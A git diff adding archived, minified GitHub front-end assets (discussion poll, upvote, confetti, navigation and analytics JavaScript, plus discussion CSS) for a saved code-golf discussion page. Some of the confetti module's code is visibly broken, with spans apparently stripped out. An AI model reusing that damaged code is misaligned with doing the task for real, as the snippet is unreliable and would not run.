fetch(this.pollFormElement.pollUrl,{headers:{Accept:"text/html"}})).text();this.pollFormElement.pollForm.replaceWith((0,vt.r)(document,m))}catch{return}}hideResults(){this.pollFormElement.hideResults()}showResults(){this.pollFormElement.showResults()}}o(jt,"polls_voting_Poll"),(0,d.N7)(".js-discussion-poll-component",e=>{new jt(new St(e))});var Yt=a(7739);const Jt=new IntersectionObserver(function(e){for(const t of e)t.isIntersecting&&(t.target.hidden=!0)},{root:null,rootMargin:"0px",threshold:.1});(0,d.N7)(".js-whats-new",e=>Jt.observe(e)),(0,i.on)("click",".js-whats-new-state",e=>{var t;((t=e.target)==null?void 0:t.parentNode).scrollIntoView({behavior:"smooth",block:"start"})});const rt=o(()=>{const e=document.querySelector(".js-whats-new-state");!e||(e.hidden=!1)},"showWhatsNew");document.addEventListener("pjax:end",rt),document.addEventListener("turbo:load",rt),async function(){await Yt.x,setTimeout(rt,1e3)}()},47930:(T,E,a)=>{a.d(E,{S:()=>h});function l(f){const c=document.querySelectorAll(f);if(c.length>0)return c[c.length-1]}o(l,"queryLast");function d(){const f=l("meta[name=analytics-location]");return f?f.content:window.location.pathname}o(d,"pagePathname");function v(){const f=l("meta[name=analytics-location-query-strip]");let c="";f||(c=window.location.search);const i=l("meta[name=analytics-location-params]");i&&(c+=(c?"&":"?")+i.content);for(const r of document.querySelectorAll("meta[name=analytics-param-rename]")){const u=r.content.split(":",2);c=c.replace(new RegExp(`(^|[?&])${u[0]}($|=)`,"g"),`$1${u[1]}$2`)}return c}o(v,"pageQuery");function h(){return`${window.location.protocol}//${window.location.host}${d()+v()}`}o(h,"requestUri")},22485:(T,E,a)=>{a.d(E,{N:()=>v,x:()=>h});var l=a(7739);let d=null;(async function(){await l.x,f()})();function v(i){h(c(i))}o(v,"announceFromElement");function h(i){!d||(d.textContent="",d.textContent=i)}o(h,"announce");function f(){d=document.createElement("div"),d.setAttribute("aria-live","polite"),d.classList.add("sr-only"),document.body.append(d)}o(f,"createNoticeContainer");function c(i){return(i.getAttribute("aria-label")||i.innerText||"").trim()}o(c,"getTextContent")},42150:(T,E,a)=>{a.d(E,{Z:()=>nt});const l=Math.random,d=Math.cos,v=Math.sin,h=Math.PI,f=h*2,c=40,i=3,r=12-i,u=10,b=100,p=-.1,w=-p-p,M=.13,W=.18,g=.4,R=.7-g;let x,$;const I=[],H=["#6a737d","#0366d6","#28a745","#ffd33d","#f66a0a","#6f42c1","#ea4aaa"];function Z(){const j=Math.floor(Math.random()*H.length);return H[j]}o(Z,"colorTheme");function X(j,F,L){return(1-d(h*L))/2*(F-j)+j}o(X,"interpolation");const D=1/u,G=D+D;function J(){const j=[D,1-D];let F=1-G;const L=[0,1];for(;F;){let A=F*l(),S,_,N,U,P;for(S=0,_=j.length,F=0;S<_;S+=2){if(U=j[S],P=j[S+1],N=P-U,A0;S-=2)_=S-1,U=j[_],P=j[S],U>=V&&Uk?j[_]=k:j.splice(_,2):UV&&(P<=k?j[S]=V:j.splice(S,0,V,k));for(S=0,_=j.length,F=0;S<_;S+=2)F+=j[S+1]-j[S]}return L.sort()}o(J,"createPoisson");const q=document.createElement("div");q.style.position="fixed",q.style.top="0",q.style.left="0",q.style.width="100%",q.style.height="0",q.style.overflow="visible",q.style.zIndex="9999";class tt{constructor(F){this.frame=0,this.outer=document.createElement("div"),this.inner=document.createElement("div"),this.outer.appendChild(this.inner),this.outer.style.position="absolute",this.outer.style.width=`${i+r*l()}px`,this.outer.style.height=`${i+r*l()}px`,this.inner.style.width="100%",this.inner.style.height="100%",this.inner.style.backgroundColor=F(),this.outer.style.perspective="50px",this.outer.style.transform=`rotate(${360*l()}deg)`,this.theta=360*l(),this.axis=`rotate3D(${d(360*l())},${d(360*l())},0,`,this.inner.style.transform=`${this.axis}${this.theta}deg)`,this.dTheta=g+R*l(),this.x=window.innerWidth*l(),this.y=-b,this.dx=v(p+w*l()),this.dy=M+W*l(),this.outer.style.left=`${this.x}px`,this.outer.style.top=`${this.y}px`,this.splineX=J(),this.splineY=[];const L=this.splineX.length-1;for(let A=1;A=this.splineX[_];)S=_++;const N=X(this.splineY[S],this.splineY[_],(A-this.splineX[S])/(this.splineX[_]-this.splineX[S]));return A*=f,this.inner.style.transform=`${this.axis}${this.theta}deg)`,this.outer.style.left=`${this.x+N*d(A)}px`,this.outer.style.top=`${this.y+N*v(A)}px`,this.y>F+b}}o(tt,"Confetto");function nt(j){const F=j==null?5e3:j;if(!$){document.body.appendChild(q);const L=o(()=>{const _=new tt(Z);I.push(_),q.appendChild(_.outer),x=window.setTimeout(L,c*l())},"addConfetto");L();let A;const S=o(_=>{const N=A?_-A:0;A=_;const U=window.innerHeight;for(let P=I.length-1;P>=0;--P)I[P].update(U,N)&&(q.removeChild(I[P].outer),I.splice(P,1));if(x||I.length){$=requestAnimationFrame(S);return}document.body.removeChild(q),$=void 0},"loop");window.setTimeout(function(){clearTimeout(x),x=void 0},F),requestAnimationFrame(S)}}o(nt,"poof")},97730:(T,E,a)=>{a.d(E,{j:()=>h,w:()=>f});var l=a(59753),d=a(55741),v=a(45075);(0,l.on)("click",".js-toggle-inline-comment-form",function(c){const i=c.currentTarget.closest(".js-line-comments");h(i)}),(0,l.on)("quote-selection",".js-line-comments",function(c){h(c.currentTarget),c.stopPropagation()}),(0,v.w4)("keydown",".js-inline-comment-form-container form .js-comment-field",function(c){const i=c.target;if(!i.classList.contains("js-navigation-enable")&&c.key==="Escape"&&i.value.length===0){const r=i.closest("form");f(r),c.preventDefault()}}),(0,l.on)("click",".js-hide-inline-comment-form",function(c){const i=c.currentTarget.closest("form");!(0,d.T)(i)||confirm(c.target.getAttribute("data-confirm-cancel-text"))?f(i):c.preventDefault()});function h(c){var i;const r=c.querySelector(".js-inline-comment-form-container");r.classList.add("open"),(i=r.querySelector(".js-write-tab"))==null||i.click(),r.querySelector(".js-comment-field").focus(),(0,l.f)(r,"inlinecomment:focus")}o(h,"focusForm");function f(c){c.reset();const i=c.closest(".js-inline-comment-form-container");i.classList.remove("open");const r=i.querySelector(".js-multi-line-preview");r&&(r.hidden=!0),(0,l.f)(i,"inlinecomment:collapse")}o(f,"blurForm")},62805:(T,E,a)=>{var l=a(22485),d=a(64463);const v=o(async(i,r,u,b)=>{const p=new FormData;return b===!0&&p.append("upvote","true"),await fetch(i,{body:u==="delete"?"":p,method:u,mode:"same-origin",headers:{"Scoped-CSRF-Token":r}})},"sendRequest");class h{constructor(r){this.voteCountElement=r}getLabel(){var r;return((r=this.voteCountElement)==null?void 0:r.getAttribute("data-upvote-label"))||""}getText(){var r;return((r=this.voteCountElement)==null?void 0:r.textContent)||""}}o(h,"VoteCountElement");class f{constructor(r){this.voteForm=r,this.voteButton=this.voteForm.querySelector(".js-upvote-button"),this.defaultVoteCountElement=new h(r.querySelector(".js-default-vote-count")),this.upvotedCountElement=new h(r.querySelector(".js-upvoted-vote-count")),this.url=this.voteForm.getAttribute("data-url")||""}isUpvoted(){return this.voteForm.getAttribute("data-upvoted")==="true"}getCsrfDeleteInputValue(){const r=this.voteForm.querySelector(".js-data-url-delete-csrf");return r?r.value:""}getCsrfPutInputValue(){const r=this.voteForm.querySelector(".js-data-url-put-csrf");return r?r.value:""}simulateUpvote(){var r,u,b,p;this.voteForm.setAttribute("data-upvoted","true"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.add("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.remove("color-fg-muted")),this.voteForm.classList.add("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.upvotedCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","true"),(0,l.x)(`${this.upvotedCountElement.getText()} Upvotes`)}simulateUpvoteDeletion(){var r,u,b,p;this.voteForm.setAttribute("data-upvoted","false"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.remove("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.add("color-fg-muted")),this.voteForm.classList.remove("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.defaultVoteCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","false"),(0,l.x)(`${this.defaultVoteCountElement.getText()} Upvotes`)}displayUpVoteError(r){const u=this.voteForm.querySelector(".js-upvote-error");u instanceof HTMLElement&&(u.textContent=r,u.hidden=!1)}hideVoteErrors(){const r=this.voteForm.querySelector(".js-upvote-error");r instanceof HTMLElement&&(r.hidden=!0)}}o(f,"VoteFormElement");class c{constructor(r){this.voteFormElement=r}animateUpvote(r){r?this.voteFormElement.simulateUpvoteDeletion():this.voteFormElement.simulateUpvote()}animateUpvoteUndo(r){r?this.voteFormElement.simulateUpvote():this.voteFormElement.simulateUpvoteDeletion()}async click(){this.voteFormElement.hideVoteErrors();const r=this.voteFormElement.isUpvoted(),u=r?this.voteFormElement.getCsrfDeleteInputValue():this.voteFormElement.getCsrfPutInputValue(),b=r?"delete":"put";this.animateUpvote(r);const p=await v(this.voteFormElement.url,u,b,!r);if(!p.ok){const w=await p.json();this.voteFormElement.displayUpVoteError(w.error),this.animateUpvoteUndo(r)}}}o(c,"Upvote"),(0,d.N7)(".js-upvote-button",i=>{if(!(i instanceof HTMLElement)||!(i.parentElement instanceof HTMLElement))return;const r=new c(new f(i.parentElement));i.addEventListener("click",async()=>{await r.click()})})},7739:(T,E,a)=>{a.d(E,{C:()=>d,x:()=>l});const l=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(v=>{document.addEventListener("DOMContentLoaded",()=>{v()})})}(),d=function(){return document.readyState==="complete"?Promise.resolve():new Promise(v=>{window.addEventListener("load",v)})}()},29719:(T,E,a)=>{a.d(E,{D:()=>h,a:()=>v});var l=a(17463),d=a(12981);async function v(f,c,i){const r=new Request(c,i);r.headers.append("X-Requested-With","XMLHttpRequest");const u=await self.fetch(r);if(u.status<200||u.status>=300)throw new Error(`HTTP ${u.status}${u.statusText||""}`);return(0,l.t)((0,l.P)(f),u),(0,d.r)(f,await u.text())}o(v,"fetchSafeDocumentFragment");function h(f,c,i=1e3){return o(async function r(u){const b=new Request(f,c);b.headers.append("X-Requested-With","XMLHttpRequest");const p=await self.fetch(b);if(p.status<200||p.status>=300)throw new Error(`HTTP ${p.status}${p.statusText||""}`);if(p.status===200)return p;if(p.status===202)return await new Promise(w=>setTimeout(w,u)),r(u*1.5);throw new Error(`Unexpected ${p.status} response status from poll endpoint`)},"poll")(i)}o(h,"fetchPoll")},55741:(T,E,a)=>{a.d(E,{M:()=>v,T:()=>h});var l=a(14840),d=a(56238);function v(g,R=!1){return h(g)||b(g,R)||M(g)||W(g)}o(v,"hasInteractions");function h(g){for(const R of g.querySelectorAll("input, textarea"))if((R instanceof HTMLInputElement||R instanceof HTMLTextAreaElement)&&f(R))return!0;return!1}o(h,"hasDirtyFields");function f(g){if(g instanceof HTMLInputElement&&(g.type==="checkbox"||g.type==="radio")){if(g.checked!==g.defaultChecked)return!0}else if(g.value!==g.defaultValue)return!0;return!1}o(f,"formFieldValueChanged");let c;async function i(g,R){c=g;try{await R()}finally{c=null}}o(i,"withActiveElement");function r(g){return c instanceof Element?c:g&&g.ownerDocument&&g.ownerDocument.activeElement?g.ownerDocument.activeElement:null}o(r,"getActiveElement");let u;document.addEventListener("mouseup",function(g){u=g.target});function b(g,R){const x=r(g);return x===null||R&&x===g?!1:x===g&&(0,d.sw)(x)||g.contains(x)&&!w(x)?!0:u instanceof Element&&g.contains(u)&&!!u.closest("details[open] > summary")}o(b,"hasFocus");const p="a[href], button";function w(g){var R;if(g instanceof l.Z)return!0;const x=g instanceof HTMLAnchorElement||g instanceof HTMLButtonElement,$=(R=g.parentElement)==null?void 0:R.classList.contains("task-list-item");if(x&&$)return!0;if(!(u instanceof Element))return!1;const I=g.closest(p);if(!I)return!1;const H=u.closest(p);return I===H}o(w,"activeElementIsSafe");function M(g){return g.matches(":active:enabled")}o(M,"hasMousedown");function W(g){return!!(g.closest(".is-dirty")||g.querySelector(".is-dirty"))}o(W,"markedAsDirty")},17463:(T,E,a)=>{a.d(E,{P:()=>l,t:()=>v});function l(h){const f=[...h.querySelectorAll("meta[name=html-safe-nonce]")].map(c=>c.content);if(f.length<1)throw new Error("could not find html-safe-nonce on document");return f}o(l,"getDocumentHtmlSafeNonces");class d extends Error{constructor(f,c){super(`${f} for HTTP ${c.status}`);this.response=c}}o(d,"ResponseError");function v(h,f,c=!1){const i=f.headers.get("content-type")||"";if(!c&&!i.startsWith("text/html"))throw new d(`expected response with text/html, but was ${i}`,f);if(c&&!(i.startsWith("text/html")||i.startsWith("application/json")))throw new d(`expected response with text/html or application/json, but was ${i}`,f);const r=f.headers.get("x-html-safe");if(r){if(!h.includes(r))throw new d("response X-HTML-Safe nonce did not match",f)}else throw new d("missing X-HTML-Safe nonce",f)}o(v,"verifyResponseHtmlSafeNonce")},45075:(T,E,a)=>{a.d(E,{ZG:()=>f,q6:()=>i,w4:()=>c});var l=a(8439);let d=!1;const v=new l.Z;function h(r){const u=r.target;if(u instanceof HTMLElement&&u.nodeType!==Node.DOCUMENT_NODE)for(const b of v.matches(u))b.data.call(null,u)}o(h,"handleFocus");function f(r,u){d||(d=!0,document.addEventListener("focus",h,!0)),v.add(r,u),document.activeElement instanceof HTMLElement&&document.activeElement.matches(r)&&u(document.activeElement)}o(f,"onFocus");function c(r,u,b){function p(w){const M=w.currentTarget;!M||(M.removeEventListener(r,b),M.removeEventListener("blur",p))}o(p,"blurHandler"),f(u,function(w){w.addEventListener(r,b),w.addEventListener("blur",p)})}o(c,"onKey");function i(r,u){function b(p){const{currentTarget:w}=p;!w||(w.removeEventListener("input",u),w.removeEventListener("blur",b))}o(b,"blurHandler"),f(r,function(p){p.addEventListener("input",u),p.addEventListener("blur",b)})}o(i,"onInput")},12981:(T,E,a)=>{a.d(E,{r:()=>l});function l(d,v){const h=d.createElement("template");return h.innerHTML=v,d.importNode(h.content,!0)}o(l,"parseHTML")},97474:(T,E,a)=>{a.d(E,{Z:()=>l});function l(d){var v,h;const f=(h=(v=d.head)==null?void 0:v.querySelector('meta[name="expected-hostname"]'))==null?void 0:h.content;if(!f)return!1;const c=f.replace(/\.$/,"").split(".").slice(-2).join("."),i=d.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return c!==i}o(l,"detectProxySite")},84818:(T,E,a)=>{a.d(E,{Z:()=>d});class l{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}o(l,"NoOpStorage");function d(v,h={throwQuotaErrorsOnSet:!1},f=window){let c;try{c=f[v]}catch{c=new l}const{throwQuotaErrorsOnSet:i}=h;function r(p){try{return c.getItem(p)}catch{return null}}o(r,"getItem");function u(p,w){try{c.setItem(p,w)}catch(M){if(i&&M.message.toLowerCase().includes("quota"))throw M}}o(u,"setItem");function b(p){try{c.removeItem(p)}catch{}}return o(b,"removeItem"),{getItem:r,setItem:u,removeItem:b}}o(d,"safeStorage")},24216:(T,E,a)=>{a.d(E,{LS:()=>v,cl:()=>h,rV:()=>d});var l=a(84818);const{getItem:d,setItem:v,removeItem:h}=(0,l.Z)("sessionStorage")},29946:(T,E,a)=>{a.d(E,{Ak:()=>W,F2:()=>D,F6:()=>I,FP:()=>w,LD:()=>p,OE:()=>b,Po:()=>u,QE:()=>h,Rl:()=>Z,Xk:()=>x,Ys:()=>$,aN:()=>X,wP:()=>H});var l=a(24216),d=a(47930),v=a(45922);const h=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",c="soft-navigation-referrer",i="soft-navigation-marker",r="reload";function u(){return(0,l.rV)(i)==="1"}o(u,"inSoftNavigation");function b(){return Boolean(g())}o(b,"hasSoftNavFailure");function p(){performance.mark(i),(0,l.LS)(i,"1"),(0,l.LS)(c,(0,d.S)()||window.location.href)}o(p,"startSoftNav");function w(){(0,l.LS)(i,"0")}o(w,"endSoftNav");function M(){(0,l.LS)(i,"0"),(0,l.cl)(c),(0,l.cl)(f)}o(M,"clearSoftNav");function W(G){(0,l.LS)(f,G||r)}o(W,"setSoftNavFailReason");function g(){return(0,l.rV)(f)}o(g,"getSoftNavFailReason");let R=0;function x(){R+=1,document.dispatchEvent(new CustomEvent(h.SUCCESS,{detail:R}))}o(x,"softNavSucceeded");function $(){const G=g()||r;document.dispatchEvent(new CustomEvent(h.ERROR,{detail:G})),R=0,M(),(0,v.b)({turboFailureReason:G})}o($,"softNavFailed");function I(){document.dispatchEvent(new CustomEvent(h.INITIAL)),R=0,M()}o(I,"softNavInitial");function H(){return(0,l.rV)(c)||document.referrer}o(H,"getSoftNavReferrer");function Z(){return performance.getEntriesByName(i).length===0?0:performance.measure(i,i).duration}o(Z,"getDurationSinceLastSoftNav");function X(){document.dispatchEvent(new Event(h.START))}o(X,"beginProgressBar");function D(){document.dispatchEvent(new Event(h.END))}o(D,"completeProgressBar")},45922:(T,E,a)=>{a.d(E,{b:()=>h});var l=a(97474),d=a(7739);let v=[];function h(u,b=!1){u.timestamp===void 0&&(u.timestamp=new Date().getTime()),u.loggedIn=r(),v.push(u),b?i():c()}o(h,"sendStats");let f=null;async function c(){await d.C,f==null&&(f=window.requestIdleCallback(i))}o(c,"scheduleSendStats");function i(){var u,b;if(f=null,!v.length||(0,l.Z)(document))return;const p=(b=(u=document.head)==null?void 0:u.querySelector('meta[name="browser-stats-url"]'))==null?void 0:b.content;if(!p)return;const w=JSON.stringify({stats:v});try{navigator.sendBeacon&&navigator.sendBeacon(p,w)}catch{}v=[]}o(i,"flushStats");function r(){var u,b;return!!((b=(u=document.head)==null?void 0:u.querySelector('meta[name="user-login"]'))==null?void 0:b.content)}o(r,"isLoggedIn"),document.addEventListener("pagehide",i),document.addEventListener("visibilitychange",i)}},T=>{var E=o(l=>T(T.s=l),"__webpack_exec__");T.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b","app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],()=>E(67105));var a=T.O()}]);})(); + +//# sourceMappingURL=discussions-94188b076c4b.js.map \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css new file mode 100644 index 0000000..da4d0c4 --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css @@ -0,0 +1,3 @@ +.discussions-spotlight-wrapper:first-of-type{padding-left:0 !important}.discussion-spotlights-sortable .sortable-drag{padding:0 !important;background-color:transparent}.discussion-spotlight-modal{width:560px;overflow-y:auto}.discussion-spotlight-pattern-container{mix-blend-mode:soft-light;background-position:20px 20px;background-size:35px;opacity:.5}.discussion-spotlight-pattern-zap{background-image:url("/static/images/icons/spotlight/zap-pattern.svg")}.discussion-spotlight-pattern-chevron-up{background-image:url("/static/images/icons/spotlight/chevron-up-pattern.svg")}.discussion-spotlight-pattern-dot-fill{background-image:url("/static/images/icons/spotlight/dot-fill-pattern.svg")}.discussion-spotlight-pattern-dot{background-image:url("/static/images/icons/spotlight/dot-pattern.svg")}.discussion-spotlight-pattern-heart-fill{background-image:url("/static/images/icons/spotlight/heart-fill-pattern.svg")}.discussion-spotlight-pattern-plus{background-image:url("/static/images/icons/spotlight/plus-pattern.svg")}.discussion-spotlight{height:188px;flex:1 1 auto;overflow:hidden}.discussion-spotlight-preview{height:160px}.discussion-spotlight-gradient{width:35px;height:35px}.discussion-spotlight-gradient .discussion-spotlight-gradient-selected-indicator{display:none}.discussion-spotlight-gradient[aria-selected=true]{box-shadow:inset 0 1px 2px rgba(27,31,35,.075),0 0 0 .2em rgba(3,102,214,.3)}.discussion-spotlight-gradient[aria-selected=true] .discussion-spotlight-gradient-selected-indicator{display:inline-block}.discussion-spotlight-emoji{top:calc(35% - 35px);left:calc(50% - 48px);width:96px;height:96px;font-size:96px;text-shadow:0 3px 14px rgba(0,0,0,.3)}.discussion-spotlight-details{pointer-events:none}.discussion-spotlight-details>*{pointer-events:auto}.discussion-spotlight-handle{cursor:pointer;background:var(--color-primer-canvas-backdrop)}.discussion-feed-body pre{padding:16px;overflow-x:auto;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body code,.discussion-feed-body tt{padding:.2em .4em;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body ul{padding-left:32px;margin-bottom:16px}.discussion-feed-body ol{padding-left:32px;margin-bottom:16px;list-style-type:number}.discussion-feed-body h1,.discussion-feed-body h2,.discussion-feed-body h3{font-size:16px}.discussion-feed-body table{display:none}.timeline-comment.timeline-chosen-answer{border:2px solid var(--color-success-emphasis)}.sidebar-emoji-box{width:auto !important;height:auto !important}.discussions-timeline-scroll-target{width:100%;padding-top:60px;margin-top:-60px;pointer-events:none !important}.discussions-timeline-scroll-target>*{pointer-events:auto}.discussions-emoji-box{font-size:14px !important;line-height:14px !important;vertical-align:0 !important;cursor:default}@media(min-width: 768px){.discussions-emoji-box{font-size:16px !important;line-height:16px !important;vertical-align:0 !important}}.discussion-timeline-item::before{display:none}.discussion-primer-next-nested-comment-timeline-item::before{left:30px}.discussion-nested-comment-timeline-item::before{left:25px}@media(min-width: 544px){.discussion-nested-comment-timeline-item::before{left:30px}}.discussion-nested-comment-timeline-item:first-child::before{top:16px}.discussion-nested-comment-group{margin-left:32px}.discussion-nested-comment-paging-form::before{width:0;background-color:transparent}.discussion-nested-comment-paging-badge .octicon{fill:var(--color-border-muted);transform:rotate(90deg)}.discussion-nested-comment-paging-form-body{margin-left:24px}:target .discussion-nested-comment-group .timeline-comment{box-shadow:none !important}.discussion-nested-comment-timeline-item:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.inline-comment-form-container.open .discussion-nested-comment-inline-form .previewable-comment-form{display:block}.discussion-footer-answered-badge{padding:0 8px 0 4px !important;line-height:inherit}.discussion-footer-answer-icon{width:26px;height:26px}.discussion-footer-answer-button{padding:0 8px !important;line-height:inherit}.discussion-event-wrapper:last-child .discussion-event-timeline-item{padding-bottom:0 !important}.discussion-event-wrapper:last-child .discussion-event-timeline-item::before{display:none}.discussion-event-timeline-item::before{left:-6px}.is-comment-editing .discussion-comment .previewable-comment-form{display:none}.is-comment-editing .discussion-comment .timeline-comment-actions,.is-comment-editing .discussion-comment .edit-comment-hide{display:block}.discussion-comment .previewable-edit.is-comment-editing .timeline-comment-header{display:flex !important}.errored .discussion-category-picker{border-color:var(--color-danger-emphasis)}.discussion-annoucement-badge{background-color:var(--color-neutral-muted)}.discussion-Link--secondary:visited{color:var(--color-fg-subtle) !important}.disabled-category-form{color:var(--color-primer-fg-disabled);cursor:default;background-color:var(--color-neutral-subtle)}.bg-discussions-row-emoji-box{width:42px !important;height:42px !important;background:var(--color-bg-discussions-row-emoji-box)}.bg-discussions-row-emoji-box-small{width:30px !important;height:30px !important;background:var(--color-bg-discussions-row-emoji-box)}:target .nested-discussion-timeline-comment{box-shadow:none !important}.nested-discussion-timeline-comment .markdown-body pre{background-color:var(--color-neutral-muted)}.comment-body div[type=discussions-op-text]{padding:8px;border:1px solid var(--color-border-muted) !important;border-radius:6px}.comment-body div[type=discussions-op-text] p{margin-bottom:0}.discussion-vote-form .slidey-boi{transition:.4s ease-in-out;transform:perspective(1px) translateY(0%)}.discussion-vote-form.is-upvoted .slidey-boi{transform:perspective(1px) translateY(-50%)} + +/*# sourceMappingURL=discussions-2d691bda776c.css.map*/ \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js new file mode 100644 index 0000000..1c7c278 --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var u=Object.defineProperty;var m=(l,a)=>u(l,"name",{value:a,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["element-registry"],{92333:(l,a,s)=>{const d=new Map,v=new Promise(n=>{document.readyState==="interactive"||document.readyState==="complete"?n():document.addEventListener("DOMContentLoaded",()=>n(),{once:!0})}),j=new Promise(n=>{const o=m(()=>{n(),document.removeEventListener("click",o),document.removeEventListener("touchstart",o),document.removeEventListener("keydown",o)},"handler");document.addEventListener("click",o),document.addEventListener("touchstart",o,{passive:!0}),document.addEventListener("keydown",o)}),i={ready:v,firstInteraction:j},h=new WeakMap;function g(n=document.body){cancelAnimationFrame(h.get(n)||0),h.set(n,requestAnimationFrame(()=>{for(const o of d.keys()){const e=n.matches(o)?n:n.querySelector(o);if(customElements.get(o)||e){const c=(e==null?void 0:e.getAttribute("data-load-on"))||"ready",p=c in i?i[c]:i.ready;for(const x of d.get(o)||[])p.then(x);d.delete(o),h.delete(n)}}}))}m(g,"scan"),new MutationObserver(n=>{if(!!d.size)for(const o of n)for(const e of o.addedNodes)e instanceof Element&&g(e)}).observe(document,{subtree:!0,childList:!0});let f=!0;function t(n,o){d.has(n)||d.set(n,[]),d.get(n).push(o),f&&g(document.body),f=!1}m(t,"whenSeen"),t("animated-image",()=>s.e("app_components_accessibility_animated-image-element_ts").then(s.bind(s,1711))),t("launch-code",()=>s.e("app_components_account_verifications_launch-code-element_ts").then(s.bind(s,33954))),t("metric-selection",()=>s.e("app_components_advisories_metric-selection-element_ts").then(s.bind(s,63887))),t("severity-calculator",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("app_components_advisories_severity-calculator-element_ts")]).then(s.bind(s,606))),t("create-branch",()=>Promise.all([s.e("vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52"),s.e("app_components_branch_create-branch-element_ts")]).then(s.bind(s,78928))),t("alert-dismissal-details",()=>s.e("app_components_code_scanning_alert-dismissal-details-element_ts").then(s.bind(s,32445))),t("sku-list",()=>s.e("app_components_codespaces_advanced_options_sku-list-element_ts").then(s.bind(s,14067))),t("create-button",()=>s.e("app_components_codespaces_create-button-element_ts").then(s.bind(s,1834))),t("command-palette-page",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-element_ts")]).then(s.bind(s,33094))),t("command-palette-page-stack",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-stack-element_ts")]).then(s.bind(s,9222))),t("deferred-diff-lines",()=>s.e("app_components_diffs_deferred-diff-lines-element_ts").then(s.bind(s,51598))),t("readme-toc",()=>s.e("app_components_files_readme-toc-element_ts").then(s.bind(s,11423))),t("delayed-loading",()=>s.e("app_components_github_delayed-loading-element_ts").then(s.bind(s,58525))),t("feature-callout",()=>s.e("app_components_github_feature-callout-element_ts").then(s.bind(s,89434))),t("reopen-button",()=>s.e("app_components_issues_reopen-button-element_ts").then(s.bind(s,67195))),t("math-renderer",()=>Promise.all([s.e("vendors-node_modules_lit-html_lit-html_js"),s.e("app_components_mathjax_math-renderer-element_ts")]).then(s.bind(s,24561))),t("max-value",()=>s.e("app_components_organizations_settings_codespaces_policy_form_constraint_row_max-value-element_ts").then(s.bind(s,43893))),t("codespaces-policy-form",()=>s.e("app_components_organizations_settings_codespaces-policy-form-element_ts").then(s.bind(s,97718))),t("insights-form",()=>s.e("app_components_organizations_settings_features_insights-form-element_ts").then(s.bind(s,17764))),t("action-list",()=>Promise.all([s.e("vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js"),s.e("app_components_primer_action_list_action-list-element_ts")]).then(s.bind(s,51126))),t("action-menu",()=>s.e("app_components_primer_action_menu_action-menu-element_ts").then(s.bind(s,59086))),t("toggle-switch",()=>s.e("app_components_primer_experimental_toggle-switch-element_ts").then(s.bind(s,15004))),t("iterate-focusable-elements.ts",()=>s.e("app_components_primer_modal_dialog_iterate-focusable-elements_ts").then(s.bind(s,23349))),t("modal-dialog",()=>s.e("app_components_primer_modal_dialog_modal-dialog-element_ts").then(s.bind(s,27257))),t("file-filter",()=>s.e("app_components_pull_requests_file_tree_file-filter-element_ts").then(s.bind(s,44846))),t("file-tree",()=>s.e("app_components_pull_requests_file_tree_file-tree-element_ts").then(s.bind(s,62978))),t("file-tree-toggle",()=>s.e("app_components_pull_requests_file_tree_file-tree-toggle-element_ts").then(s.bind(s,93559))),t("dependabot-alert-row",()=>s.e("app_components_repos_alerts_dependabot-alert-row-element_ts").then(s.bind(s,76257))),t("dependabot-alert-table-header",()=>s.e("app_components_repos_alerts_dependabot-alert-table-header-element_ts").then(s.bind(s,47691))),t("memex-project-picke